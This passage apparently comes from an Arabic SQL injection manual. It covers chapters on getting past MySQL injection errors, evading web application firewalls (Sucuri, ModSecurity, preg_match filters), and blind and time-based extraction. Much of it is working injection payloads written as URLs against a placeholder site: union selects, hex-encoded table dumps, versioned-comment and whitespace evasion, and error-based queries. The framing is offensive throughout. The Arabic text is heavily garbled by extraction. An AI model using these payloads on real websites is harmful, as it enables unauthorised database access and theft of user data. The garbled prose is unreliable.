information_schema.columns where table_name=@tbl and column_name like 0x257061737325)>0) THEN
0x3c666f6e7420636f6c6f723d677265656e3e3c623e202a2a2a2070617373202a2a2a203c2f623e3c666f6e7420636f6c6f
723d6
26c75653e else 0x00 END)))))x)
(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables) where (0x00) in
(@x:=concat(@x,0x3c62723e,@tbl:=table_name,(Select IF(( select count(*) from information_schema.columns where
table_name=@tbl and column_name like 0x257061737325 >0),
0x3c666f6e7420636f6c6f723d677265656e3e3c623e202a2a2a2070617373202a2a2a203c2f623e3c666f6e7420636f6c6f
723d6
26c75653e, 0x00))))))x)
▂ ▃ ▄ ▅ ▆ ▇ █ ▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل
� الفصل الخامس :تقنيات الدفع الموحد �
تقنيات الدفع الموحد :بمعنى ما يدفع لوجود خطأ ذو قيمة ل تتغير في مضمونها هو ذارته ما يدفع لوجود الرقدرة على دفع تلك القيمة
من مضمولنمها .
فمعنى الدفع يعني ' التخطي ' ومعنى الموحد يعني ' ما لره نفس الهيئه ' بمعنى أن يكون الستعلم الخاص بالتخطي هو ذارته
الرمستخدم في ركل مره يظهر فيها ذات الخطأ دومنما تغ ل رير في شكل أو مضمون هذا الستعلم الرمستخدم في ركل مرة دائما ل ,فلو فرضنا
أن الخطأ إكس Xيتم تخطيره بالتخطي واي Yفأينما ولجدا الخطأ إكس Xفي أي مكان دائما كان التخطي لره هو التخطي
ث أنره ريعالج أغلب الخطأ المشهورة بمجال حقن القواعد بإستخدام تقنيات واي , Yلذا فهذا الفصل من أهم فصول هذا الكتاب حي ر
تخطي فريدة من نوعها في بعض الحيان وبإستخدام تقنيات أخرى مشهورة في الغالب ,وبإضافة ركل هذه الحلول رمجتلمعة بفصل
واحد سوف يدفع رمختبري حقن قواعد البيانات العرب والرمسلمين على تعزيز الخبرات والرقدرات لديرهم بهذا المجال الواسع النتشار
.
. Error : (1054( Unknown column 'xxx' in 'field list [ الخطأ1]
: وذلك على النحو التاليJoin Syntax هذا الخطأ نقوم بإستخدام رأسلوب الحقن الفريد من نوعه الـ- أو تفادي- لتخطي
� � الموقع الهدف
www.InjectorBoy.md/news.php?id=58
أول ل :إضافة مسافة بعد الكلمة selectرثم كتابة رمز النجمه * رثم مسافة رأخرى بعد رمز النجمه رثم كتابة الكلمة from
وذلك على النحو التالي :
ثالثا ل :لكتابة رقم عمود ما بالستغلل يتم على النحو التالي :
-3رثم مسافة من بعد الكلمة selectرثم نكرتب رقم العمود لدينا :
-4رثم نعطي هذا العمود رقم واحد إسما ل رمستعارا ل ونكرتب هذا السم الرمستعار بعد القوسين الرمغلقين مباشرلة بدون أية فواصل ,وليكون
-أي السم الرمستعار -من الحروف البجدية النجليزية :
-5ثم رنضيف مسافة من بعد السم الرمستعار aرثم نكرتب كلمة : join
[6] InjectorBoy.md/news.php?id=58' union select * from (select 1)a join (select+2)b join (select+version())c join
(select+4)d join (select+5)e join (select+6)f -- -
☆¸☆¸.•*☆ ' Unknown column '1' in 'order clause ☆*•. ] [2الخطأ
فى حالت رمتعدده يكرثر وجودها ,يظهر هذا الخطأ Unknown column -1-رمخلبرا ل إيانا أن العمود صاحب الرقم واحد غير
معلوم لدى القالعده ,وذلك يكون عند إستغلل الرمتغير الرمصاب بالستعلم - Order By -مع الرقم الدنى والقل إطلقا ل أل
وهو الرقم واحد ,مثال على ذلك :
الذي من المفروض أن تظهر معره أي عند الرقم واحد صفحه هذا الرمتغير بصوره طبيعيه ,والتي تردل على صحة الستعلم وأن
العمود رقم واحد موجود فعل ل ,وهذا الذى لم يحردث .
وتحليلي لهذا الخطأ يكون على النحو التالي
وإستنتاجا ل من هذا التحليل ' يستحيل الحقن بإستخدام اليونيون باسيد Union Basedمع الـ ' Selectويخرلفه -أي مكان مره -
إستعلمات الـ Error Basedكابديل ل عنه .
عب بنهاية الرابط وهذا فقط حال ظهوره أي الخطأ عند كتابةرملحظة هامة :في بعض الحيان يتم تخطي هذا الخطأ بالتل ر
كلي الصحيح للعمدة أي أن هذا الحل ليس لره أي إرتباط بالرمشكلة أعله في بداية الفصل الستغلل كامل ل بعد معرفة العدد ال ر
مع الـ . order by 1
في حالة الحقن العادى ,وعند معرفة عدد العمدة بصورة قطعية بإستخدام الستعلم , order byوفرضا ل أقول أنرة تم
الحقن بصورة صحيحة وذلك مع دمج عدد العمده الرمتو لمصل إليها إلى الستعلم union selectوالذى من شئنره عادة أن
رينلتج لنا بتلك التركيبة السحريه ظهور أرقام العمده الرمصابة بالصفحة ,لكن عند عدم حدوث ذلك لسبب ما وزياده عليه
التصال بالنترنت ينمعلدم بصورة رمفاجئه يكون المر رمحيرا ل :
دل هذا الخطأ على أمر ل ثانى له في مجال حقن قواعد البيانات وهو إن ذلك النقطاع الرمفاجئ للنترنت عادة ليس
ضعف التصال بالشبكة ( وإنما بسبب الـ واف Waf'sأي الحماية الخاصة بهذا الموقع ,ويمكن
بسبب التصال الرديئ ( ر
تخطي ذلك المر بفلترة الرمدخلت الستعلمية لبرطرق شتى منها .
http://www.InjectorBoy.GHT?id=1-.1union select 1,2,3,4 -- -
ووضع شرطه رملتصقه بالرمتغير من إتجاه الـunion هنا رقمت بوضع رنقطة قبل الرقم واحد للأقوم بلصقه مع الـ, تم التخطي
لعمل خداع كامل للواف وذلك ا رunion
. لسلوب سوف ريشرح لحقا ل
يحردث هذا الخطأ نتيجة الختلف فى قيم الـ collationsبين الجدول الموجود بالقاعدة والجدول الرمستخدم من لقبمللنا ويتم
تخطي هذا المر بإستخدام الـ ))( unhex(hexوغيرها من القيم الرمقابلة لها التي تعمل على توحيد قيم الدخل مع القيم
الموجودة .
- ث العمل على توحيد رلغة الدخل للقيم الثابتة والقيم الرمدخلة عليها
ورهنا بعض الستعلمات الرمماثلة من حي ر
[1] unhex(hex(value))
[3] aes_decrypt(aes_encrypt(value,1),1)
[4] convert( رهنا نضع الستعلمusing )رهنا نضع أحد القيم المذكورة تاليا ل
ascii
ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8
www.InjectorBoy.md/galleryCategory.php?id=4 union select 1,2,convert(group_concat(table_name) using
ascii),4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables%23
☆*• [5] ☆¸.الخطأ البرمجي ☆*•.¸☆ Fatal Error Occurred :
جد خطأ برمجي بأحد العمدة مما يؤدي إلي إختفاء وعدم ظهور باقي العمدة الرمصابة ويتم تخطي هذا المر
يحردث هذا الخطأ نتيجة توا ر
بعمل تفريغ لقيمة هذا العمود الرمصاب بهذا الخطأ .
نقوم الن بعمل عملية تفرق لقيم العمدة عمود عمود حتى نصل للعمود الرمصاب وذلك بإضافة القيمة Nullكالتالي :
هذا الخطأ يقوم بالتحويل إلى صفحة رأخري غير الصفحة ال رمستهدفة بالحقن وهو من الخطأ الشائعة جدا بمجال حقن القواعد
ويتم التخطي بإضافة أحد إضافات الفيرفوكس .
كلي للعمدة تقوم الحماية بعمل عملية تحويل إلى صفحةعند القيام بعملية كتابة الستغلل بعد معرفة وتحصيل العدد ال ر
رأخرى ومنع عملية الحقن .
www.InjectorBoy.md/modules.php?name=News
الن ولتخطي عملية التحويل سوف نقوم بإضافة الضافة الخاصة بالفيرفوكس noredirectمن رهنا :
https://addons.mozilla.org/ar/firefox/addon/noredirect/
ثم بعد ذلك نقوم بفتح الضافة من الرمتصفح من قائمة Toolsونقوم بإختيار الضافة noredirectث رمم نقوم بإختيار الرمفتاح Add
والضغط عليه .
رثم نقوم بإضافة رابط الصفحة التي قامت الحماية بتحويملنا إليها سابقا ل ث رمم نضغط رمفتاح الـ . Enter
www.InjectorBoy.md/modules.php?name=News
أخير نقوم بفتح الرابط مع الستغلل كامل ل مره رأخرى لنرى هل تم تخطي التحويل أم ل .
www.InjectorBoy.md/news.php?id=.58' /*!50000UNION*/ SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13,14 -- -
☆*• [7] ☆¸.خطأ ☆*•.¸☆ Bad Request 400 :
هذا الخطأ ينرتج غالبا ل نتيجة إعتراض العمدة الرمستغلة بالستعلم الكامل -
- التي سيتم شرحها لحقا لBIND ويتم تخطي هذا المر عن طريق تقنية الـ
أول ل :نقوم بإضافة رمز %قبل الرنقطة ثم نقوم بالفلترة بالـ . Encoding
[1] Schema.tables
[2] Schema%.tables
[3] Schema%252Etables
www.InjectorBoy.md/news.php?id=58 union select 1,2,group_concat(table_name,0x3c62723e),4,5,6,7,8,9,10,11 from
information_Schema%252Etables where table_schema=database()--+
☆*•.¸☆ boolean given in : ] الخطأ10[ ☆¸.•*☆
. هذا الخطأ من الخطأ الشائعة عند إستخدام إستعلمات إستخراج كافة الجداول والبيانات
www.InjectorBoy.md/news.php?id=58+UNION+SELECT+1,2,3,4-- -
www.InjectorBoy.md/news.php?
id=58+UNION+SELECT+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=d
atabase()-- -
. unhex(Hex()) ويتم تخطي هذا المر عن طريق إستخدام إستعلم الـ
www.InjectorBoy.md/news.php?
id=58+UNION+SELECT+1,unhex(Hex(group_concat(table_name))),3,4+from+information_schema.tables+where+ta
ble_schema=database()-- -
☆*• ]11[ ☆¸.الخطأ ☆*•.¸☆ Sucuri WebSite Firewall - CloudProxy - Access Denied :
جد وهو خطأ منع أي إضافة لي إستعلمات بعد رقم الرمتغير الخاص بالموقع الرمصاب بثغرة
ث التوا ر
هذا الخطأ من الخطاء القليلة من حي ر
الحقن -
www.InjectorBoy.md/galleryCategory.php?id=4+UNION+SELECT+1,2,3-- -
ويتم تخطي هذا المر بإستبدال دومين الموقع الرمستهدف باليبي الحقيقي لـ - Subdomain
pentest-tools.com/information-gathering/find-subdomains-of-domain
http://50.28.71.142/galleryCategory.php?id=4+UNION+SELECT+1,2,3-- -
☆*•.¸☆ The used SELECT statements have a different number of columns : ] الخطأ12[ ☆¸.•*☆
- بصورة رمطلقة إل فى بعد الحالت الشاذةunion based وهو خطأ إستحالة الحقن بنمط الـ
www.InjectorBoy.md/news.php?id=58+UNION+SELECT+1,2,3,4-- -
www.InjectorBoy.md/news.php?id=polygon((select*from(select*from(select%20@@VERSION)f)x))-- -
█▇▆▅▄▃▂ إحتمالت حقن هذا الخطأ ▂▃▄▅▆▇█
ريمكن حقن المواقع الرمصابة بهذا الخطأ في بعض الحالت فقط وليس ركلها ورتسمى الحالت الشاذة .
-3أحتمال العمل بشرط تجرنب إستخدام الفاصله ,بين أعداد أو أرقام العمدة .
-4إحتمال وجود أخطاء رمتعددة فل تستطيع الحقن إل مع أحردهما دون الخر .
] [2فى حالة الحتمال الثاني يكون الستغلل على النحو التالي :
?id=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- -
] [3فى حالة الحتمال الثالث يكون الستغلل على النحو التالي :
] [4فى حالة الحتمال الرابع يكون الستغلل على النحو التالي :
?id=1 union select 0x3a31, 0x3a32, 0x3a33, 0x3a34, 0x3a35, 0x3a36 -- -
] [5فى حالة الحتمال الخامس يكون الستغلل على النحو التالي :
تم شرح هذا ا ر
لسلوب سابقا ل
?id=1+DiV 0 UnIoN SeLeCt+"1' DiV 0 /*!50000UnIoN*/ aLL SeLeCt 1,2,3,4,5,6-- -",2,3,4-- -
☆*• [13] ☆¸.الخطأ ☆*•.¸☆ New Line
عند ظهور خطأ مشابه القيمة التركيبية لهذا الخطأ أعلة ,وبله سطر كتابى قيمرة [ ] at lineثم رمضاف إلية رقم السطر
كالتالي على سبيل المثال فقط ] [ at line 6فهذا يعنى أن الستعلم يحتوى سطر جدبد أو [ ] new lineوهذا السطر
الضافي أو الجديد لربد من إحتوائه ,ويتم ذلك الحتواء عن طريق غلق نهاية الستعلم بالرمز ;- 00%
مثال تطبيقى
www.InjectorBoy.md/news.php?id=-58) union %53elect
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- -
كما رنلحظ في الخطأ يوجد سطر جديد وهو f.pkey ORDER BY f.pkey :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
for the right syntax to use near '€‹8-- -) GROUP BY f.pkey ORDER BY f.pkey DESC' at line 6
في بعض الحيان قد ترتكز الحماية على منع المساحات البيضات والفواصل البينية لذا لنتعلم تقنيات تخطيها .
www.InjectorBoy.md/viewitem.php?num=13
كما رنلحظ لم يحدوث أي تغرير بالصفحة لذا نستنتج أن الحقن إسترنج بإضافة قيمة الكومة بعد رقم الرمتغير لنري ذلك
/**/union/**/select/**/1,2-- -
%0Aunion%0Aselect%0A1,2-- -
union(select(1),(2))-- -
www.InjectorBoy.md/viewitem.php?num=13%0Aorder%0Aby%0A1-- -
www.InjectorBoy.md/viewitem.php?num=13%0Aorder%0Aby%0A100-- -
كما توقعت فعل ل المسئلة مسئلة حماية وتم تخطيها وبالرمقارنة تبين أن عدد العمدة ال ر
كلية هي عشرة أعمدة
www.InjectorBoy.md/viewitem.php?num=.13%0Aunion%0Aselect%0A1,2,3,4,5,6,7,8,9,10-- -
www.InjectorBoy.md/viewitem.php?num=.13%0Aunion%0Aselect%0A1,2,version(),4,5,6,7,8,9,10-- -
▂ ▃ ▄ ▅ ▆ ▇ █ ▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل
� الفصل السادس :تقنيات الرقدراتالفائقة الرمتقللدمة �
كم بعض التقنيات الفائقة الرقدرة الرمتقللدمة لتخطي أعظم الحمايات المشهورة وعلى رأسها
في هذا الفصل سوف نعرض علي ر
الـ Barracudaوالـ WebKnightوالـ PHPIDSوالـ URLScanوالـ Modsecurityوغيرها الكثير .
فى العديد من الحالت التي يستحيل معها إستخدام التشفيرات التقليديه مثل الـ % @ /*! */تأتي المسئله ' ' BIND
والتي من شئنها كسر الواف والتحايل علي قاعدة البيانات كونها فكرة ذكيه خارج نطاق الصندوق .
🏻 🏻 مثال تطبيقي 🏻 🏻
كما يتضح من الصوره أعله الخطأ الناتج 🏻 🏻 Conflictيمنع إستمرار عملية الحقن ويمنع في ذات الوقت التشفيرات
التقليديه مثل الـ , % @ /*! */لذا للتخطي هذا المر نقوم بإستخدام المسئلة : BIND
وهي إسلتحداث عملية كسر للرمتغير الرمرتبطة قيمتره تركيبيا ل بقاعدة البيانات عن طريق تفريق رقم الرمتغير الرمسجل بها
بصورة رمباشرة من الوسط بإستخدام الرنقطه 🏻 Dot 🏻 .أو رمز الـ @ ,ووظيفة الرنقطة إلغاء الستعلم ذلك لكولنها
أصبحت في هذه الحالة شرط سلبي ,ثم يلي ذلك ضم الستعلم unionإلى النصف الثاني من قيمة الرمتغير -أي
الرقم الثاني الذي تم فصل رره عن الرقم الول من الرمتغير . -
تقنية التشفير seperator Styleترتكز على مبدأ إعاقة الحظر على العمدة الرمرقمة بالستغلل النهائي ,فهي تسمح
للستعلم بالعمل في حال توقيف رره من الواف .
لذا سوف أقوم بتفعيل خاصية الـ Columns seperator Style WAF bypassبالبحث عن العمود المحظور بسبب
الحماية والمتسبب فى هذه الرمشكلة على النحو التي :
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1-- -
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1,2-- -
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1,2,3-- -
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4-- -
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5-- -
الموقع يعمل دون وجود أي حظورات id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6-- -
هذا الحظر يردل على أ لمن العمود السابع هو سبب هذه الرمشكلة لذا فاللمتفادي ذلك الحظر سوف نقوم بتفعيل خاصية الـ
Columns seperator Styleوذلك بإضافة رمز الـ ' ~ ' seperatorقبل رقم العمود السابع المحظور لعكس وإلغاء
عملية الحظر من عليه وذلك على النحو التي :
www.InjectorBoy.md/news.php?id=58 /*!00000union*/ /*!00000select*/ 1,2,3,4,5,6666,~7-- -
الـ wafالرممتلنع :يعني إستحالة تخطي الحماية مهما كانت التقنيات الرمستخدمة لذلك ,ونقرصد به الـواف , preg_matchلذا
فالنتماشى معا ل بهذا الموضوع الشيق لفهم هذا الواف الرممتلنع -
بالمثال السابق تأكد المر بالصابة بثغرة الحقن ,ولعند إستخدام تقنية الكشف عن العدد ال ر
كلي للعمدة تبين أنهم ثلث
جد حماية رمنصبة بالسيرفر لذا قامت بكشف عملية الحقن عشر عمودا ل ,وبـ لكتابة الستغلل ال ر
كلي لرهم تم رملحظة توا ر
وصدها -
- الن للرنجري عدة رمحاولت لتخطي هذه الحماية بعدة رأمور وتقنيات رمتوفرة لدينا
]2[ www.InjectorBoy.md/adv_master.php?news_id=.1401-.1union-- a
%0Aselect@,2,3,4,5,6,7,8,9,10,11,12,13 -- -
عند قيامنا بعمليات التحاريل الرمتعددة لتخطي هذا الحماية الرممتزللمته لم نو لمفق لذلك وقامت هذه الحماية بصدنا عدة مرات: الرملحظات
وكيفpreg_match لكن لماذا رقلت أن الحماية هي الواف, preg_match لذا إعتقد أن هذه الحماية هي الواف, عند ركل رمحاولة
إستنتجت ذلك ؟
•◘╚╦☆ تقنية الكشف عن الواف •◘╦╚☆ preg_match
لخرى ,بمعني الفنكشن : preg_matchهو تقنية موجودة بالـ , PHPووظيفة هذا الفنكشن الكشف عن السلسل داخل السلسل ا ر
إني مهما حاولت جاهدا ل التحاريل لخفاء مثل ل القيمة selectداخل سلسل من إستعلمات الفلتره لن ريفلح المر للرقدرة هذا الفنكشن
عن كشف القيم الممنوعة عندهر مهما كانت رمتسللترة داخل سلسل رأخرى كما ريشار إلية رهنا -
php.net/manual/en/function.preg-match.php
ورأسلوب الكشف عن الواف preg_matchتكون بإستبدال قيمة الـ selectبالقيمة التالية , aaa%53electaaaوهذه القيمة رتعطي
بصورة مؤكدة ' خطأ ' عند عدم تواجد الفنكشن preg_matchبالـ PHPورتعطي بصورة مؤكد ' صد ' عند تواجد الفنكشن preg_match
-
فكما بالمثال التالي بموقع ل يحتوي الفنكشن preg_matchنحرصل على خطأ ريثبت عدم تواجده -ااي الفنكشن - preg_match
لسلوب بموقع يحتوي الفنكشن , preg_matchوهو الموقع الذي عجزنا عن تخطي الواف به سابقا ل في بادئ وعند إستخدام هذا ا ر
المر ,يتم التح ل رصل على صد رمباشر ,وهذا ريثبت إن الـ واف هو الـ preg_match
تقنية الستبدال الموازي :هي تقنية تسمح بإستبدال القيم عند حظرها بقيم رمشابة رتعطي نفس الناتج ال ر
كلي للستعلم الصلي -
www.InjectorBoy.md/show_news.php?id=55
'www.InjectorBoy.md/show_news.php?id=55
بالمثال السابق تأكد المر بالصابة بثغرة الحقن ,ولعند إستخدام تقنية الكشف عن العدد ال ر
كلي للعمدة تبين أنهم س ل متة أعمدة ,وبـ
جد حماية رمنصبة بالسيرفر لذا قامت بكشف عملية الحقن وصدها - لكتابة الستغلل الكامل لرهم تم رملحظة توا ر
رملحظة :فالنحررص على فلترة الستعلمات الرمستخدمة نظرا ل لوجود واف يحمي السيرفر ,ولنستخدم تقنية الـ , Nوهي تقنية حذف
المساحات البيضاء والستعلمات الخيرة وذلك ركلره يكون قبل إضافة قيمة الـ \ Nكالتالي :
] تم حذف الرقم الخير للعمدة N = 5,\Nfrom information [ 6تقنية || ] 5,6 from informationالستعلم [
لم يتم التخطي نظرا ل لوجود حظر على القيمة tablesبالستعلم information_schema
: منه كالتاليtables وقد علمت ذلك كون الموقع يقوم بالتحميل عند حذف القيمة
: ورهم على النحو التاليinformation_schema بالـtables لذا فالنستخدم القيم الموازية لـ
information_schema.partitions
information_schema.statistics
information_schema.key_column_usage
information_schema.table_constraints
: وسوف يكون الستعلم النهائي على هذا النحو, كما يظهر جالي لما ل تم إستخراج الجداول بسهولة فائقلة
تقنية التحكم في التدفق أو الـ Flow Controlهي تقنية لـ مراقبة خرج الرمع لمرف وذلك لتعويض الفقد الداخلي في القيمة العامة
للعمدة ,وتنشئ هذه التقنية بإضافة قيمة عمود ' ' columnإلى الستعلم الصل لتعويض الفقد الداخلي .
رملحظة :هذه التقنية ل تصرلح لكافة قواعد البيانات ,بمعنى إنها ل تعمل إل مع المواقع التي رتعاني فقد في قيم العمدة ال ر
كلية
والتي تحتاج لتعريفره عند كتابة الستغلل العام فكما نرى لم تنجح مع موقع ليس به هذه الرمشكلة -
في هذا الباب سوف رنناقش تقنيات التشفير الجديدة على رمستوى الـ Union Tableوالـ Select Tableوالـ فواصل البينية والتي
من شئنها جميعا ل تخطي أعظم الحمايات المشهورة بشكل تقريبي يصل إلي الـ %75من مجموع التقنيات المعروفة ,رثم نقوم تاليا ل
بنهاية الباب بإضافة بعض المثلة التركيبية كـ تبيان لهذه التقنيات ورأساليب ضمها للبعلضها البعض جميعا ل .
القسم الول :ويشمل ستة عشر رأسلوبا ل يمكن إستخدامرهم على رمستوى الـ Union Tableوهم رمب لمينين في الرمربع التالي الشكل :
. %.0 ""% %'' &.0 &\N -.0 =\N <0. >0. e0 ^0. |"" |'' |.0 |\N
وتقنية ضمهم للـ Unionتكون ببدأ الجملة بهم ليكونوا على هذه الهيئة التركيبية :
id=1.union
id=1%''union
id=1&\Nunion
id=1-.0union
id=1=\Nunion
☆╚╦◘• Select Table •◘╚╦☆
وهم رمب لمينين في الرمربع التاليSelect Table ويشمل إثنين وثلثون رأسلوبا ل يمكن إستخدامهم على رمستوي الـ: القسم الثاني
: الشكل
a ""= ''* ''<"" /"" $"" .~ @~ -~ >@ <@ %@ ^@ /@ =@ *@ |@ @- ~! @! .! >! <! ~!-+
''> ''_ +@+ @$% @&& @*. @=~ @<. @%C0% @%C0/ @%FF| \N$ \N%FF
: تكون ببدأ الجملة بهم ليكونوا على هذه الهيئة التركيبيةSelect وتقنية ضمهم للـ
ويشمل أربعة أساليب يمكن إستخدامرهم على رمستوى الـفواصل البينية وهم رمب لمينين في الرمربع التالي الشكل من: القسم الثالث
: ث القيمة وطريقة إستخدامها حي ر
- بعض المثلة التركيبية كـ تبيان لهذه التقنيات ورأسلوب ضمها للبعلضها البعض جميعا ل
•◘╦╚☆ •◘╚╦☆ the webserver replacing select and space with nothing
وكـ بداية للشرح العام لهذه المسئلة سوف نقوم بالشرح المبدئي على موقع رمصاب وإختبار الصابة بالثغرة به -
www.InjectorBoy.md/historia_companhia.php?id=216
'www.InjectorBoy.md/historia_companhia.php?id=216
كلي للعمدة ,والتي عند إختبارها بهذا الموقع لم تعمل بتاتا ل مع
الن وبعد إثبات الصابة ننتقل أليا ل لمسئلة إختبار العدد ال ر
الستعلمات العتيادية الخاصة بهذا المر ,لذا إنتقلت رمباشرلة لختبار الـ union basedوذلك على النحو التالي :
بالختبار من القيمة الرقمية واحد حتي القيمة الرقمية مائة لم يطررأ أي تغ ل رير على الصفحة ,لذا أستنتج من ذلك أن الواف
قام بإستبدال الـ selectبل شئ ,وهذا أمر يصرعب وضع رطرق لكتشافة لذا رقمت بإستنتاجة ذاتيا ل بدون أية مؤشرات
على ذلك ,لذا ريعد هذا المر مسئلة إستنتاجية تجريبية ل أكثر على السيرفر ,ولقد إعتقدت بديهيا ل أن السيرفر قام
بإستبدال الـ selectبل شئ لني لم أوفق لي تخطي رهنا ,وأيضا ل كون قيمة الـ selectهي القيمة الكثر إستخداما ل
فى مسائل الحقن العامة والتي تعمل الحمايات على إيقاف إستخدامها بصورة دائمة ,وتخطي الـ ل شئ يكون بإعطاء الـ
selectقيمة رمضاعفة ع لمما هي علية للتحاريل على الحماية وذلك على النحو التالي selselectectأو . sel ect
كما رنلحظ بالمثالين السابقين طرأ تغ ل رير على الصفحة على عكس ما كانت علية سابقا ل ,فدل ذلك على أن هذه المسئلة
تعمل بصورة جيدة ,وأيضا ل عند العدد ثلث من العمدة طرأ تغ ل رير أخر دل على أن العدد ال ر
كلي للعمدة هي ثلثرة -
www.InjectorBoy.md/news.php?id=58%0dunion%0dselect%0d1,2,3,4,5,6-- -
الباب الثامن 🏻 :الستعلمات الرمتعدده 🏻 multiple queries
الستعلمات الرمتعدده تنرتج لوجود عدة أخطأ رمتنوعه بالقاعده الواحده .
ففى الموقع التالي عند الستدلل على وجود الخطأ برمز الـ commaيظهر الخطأ الرمتعدد على النحو التالي :
'www.InjectorBoy.md/galleryCategory.php?id=4
وكما لحظنا تواجد ثلث أخطأ رمتعدده وليس خطأ واحد وهذا ما رنسميه الـ 🏻 🏻 multiple queriesويتم تخطيهذا
الخطأ بإحتواء العمود الذي تسبب فى ذلك الـ 🏻 🏻 multiple queriesعلى النحوالتالي :
☆¸ ☆*•.أول ا ☆*• : ☆¸.نتررك العمود الرمتسبب في ذلك الخطأ وليكون مثل ل رقم صفر 0على سبيل المثال كما هو
☆¸ ☆*•.ثانيا ا ☆*• : ☆¸.رنضيف بنهايرة هذا العمود تعليق أو commentكالتالي - --ثم نقوم بتشفيره بالهيكس بهذه
الصورة
0-- -
www.waraxe.us/sql-char-encoder.html
0x302d2d202d
1-- -
0x312d2d202d
2-- -
0x322d2d202d
وكما رنلحظ الن أدناه تم تخطي رمشكله الستعلمات الرمتعدده 🏻 🏻 multiple queriesعند العمود رقم إثنين
في غاللب الحيان ل نستطيع تخطي الواف الرممتلنع ,لذا نعتقد أن ل مفر من الـلـجؤ لعملية إلتفاف وتموية على حماية
الموقع بتقنية الـ EISوالتي تتم لميز بسهولة تنفيذ التقنية لرنتابع :
www.InjectorBoy.GHT/products.php?id=2
كما رنلحظ لم نتمكن من معرفة الجداول بإستخراجها بسبب الحماية الرممتلنعة للموقع لذا لرننفذ تقنية الـ . EIS
مبدأ تقنية الـ : EISتقوم على إستبدال الرمتغير الحالي الرممتلنع برمتغير أخر جديد ضمن نطاق الموقع الهدف بشرط البقاء
كلية الرمستخرجة سابقا ل بالرمتغير الول .
على قيمة الستغلل الكامل للعمدة ال ر
الستعلم الرمستخدم
نقوم بإستبدال القيمة your siteبقيمة الموقع الهدف مع تجارهل قيمة الرمتغير الحالي كالتالي :
نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂ ▂ ▃ ▄ ▅ ▆ ▇ █
� الفصل السابع :الحقن الرمتكامل �
الحقن العمى :هو الحقن رمستخدمين عمليات التخمين و رمراقبة ردات الفعل الخاصة بالسيرفر إما عن طريق المسئلة المنطقية
Trueو falseالناتج عنها ظهور أخطأ نصية بالصفح أو عدم ظهورها أو رمستخدمين عامل الوقت فيما ريسمي بالـ TIME
BASED INJECTIONلتأركد من صحة ما قمنا بتخمينه .
لذا سوف أجمع ركل ذلك أي ك رل ل من الحقن المنطقي والحقن الزمني في حقن واحد وسوف رأسمية الحقن الرمتكامل .
معظم المطورين/المبرمجين يعرفون أن القيم 1و 0ليس فقط يمكن استخدامرهما كأعداد صحيحة ،إنما أيضا ل كـ قيم منطقية
)صحيحة أو خاطئة( ,فالرقم واحد يعود دائما ل بقيمة صحيحة والرقم صفر يعود دائما ل بقيمة خاطئة ,لذا يمكن تطويع هذا المبدأ
العام للقيمام بعمليات حقن تعتمد على ردات الفعل بالهيئة المنطقية .
مثال عملي :عملية حث الصفحة على عدم الستجابة للتصال الرمباشر للرمضيف المحلي وإختبار ردات الفعل الزمني ضمن
المبدأ العام الذي تكلمنا عنره أنفا ل .
القيمة الستعلمية التالية سوف تعمل على حث الصفحة على عدم الستجابة للتصال الرمباشر للرمضيف المحلي والقيام
بتحميل فراغي ]التحميل الزمني للصفحة[ لرمدة خمس ثواني وذلك شريطة أن تكون القيمتان الرقميتين واحد رتساوي بعضرهما
البعض .
ث أن القيمة الرقمية صحيحة بالمثال أعله فبدل ل من التصال الفوري الرمباشر للصفحة بالمضيف المحلي , localhostوحي ر
] إذا القيمة 1رتساوي القيمة [ 1الصفحة لم تستجيب نتيجة ذلك ولمدة 5ثوان أخرى قامت بالتحميل الفراغي ,الن وبعد
نجاح الختبار السابق الخاص بإستخدام الوقت كـ مؤشر لصحة الشرط من عدمه ,سوف ننتقل الن إلى تقنية الحقن الرمتكامل
.
☆*• ☆¸.أول ل :إختبار إصدار قاعدة البيانات ☆¸☆*•.
الستعلم الخاص ال رمستخدم لستكشاف إصدار قاعدة البيانات ذلك يعتمد على ردات الفعل الزمنية وهو كالتالي -
ث الـ ()versionإصدار قاعدة البيانات ريساوي القيمة الرقمية سواء أربعة أو خمسة سوف يعمل الستعلم للقيام بتحميل
حي ر
فراغي للصفحة ل رمدة خمس ثواني كاملة في حال كان الصدار الرابع لقاعدة البيانات وخلف ذلك تكون القيمة NULLبمعني
عدم القيام بشئ .
بالمثال السابق لم يحردث شئ دليل على أن إصدار قاعدة البيانات ليس بالصدار الرابع -
كما رنلحظ من المثال السابق قامت الصفحة بالتحميل الفراغي لمدة خمسة ثواني كاملة مما دل على أن الحرف الول من الـ
table_nameهو الحرف uلذا لنستكشف الحرف التالي :
لرنخبر السيرفر أننا نستكشف الحرف التالي منLIMIT 1,1 إلى القيمة التاليةLIMIT 0,1 علينا تغير قيمة الـ: رملحظة
. table_name الكلمة أو الـ
لنتقل الن للمرحلة التالية وهي إستخراجusers الجدول الرمستخرج هو الـ, وهكذا على هذا المنوال تباعا ل حتى أخر حرف
. أعمدة الجدول
: لكن وكما قولنا سابقا ل سيكون ذلك حرفا ل حرفا ل على النحو التاليusers لنستكشف الن العمود الرمرتبط بالجدول
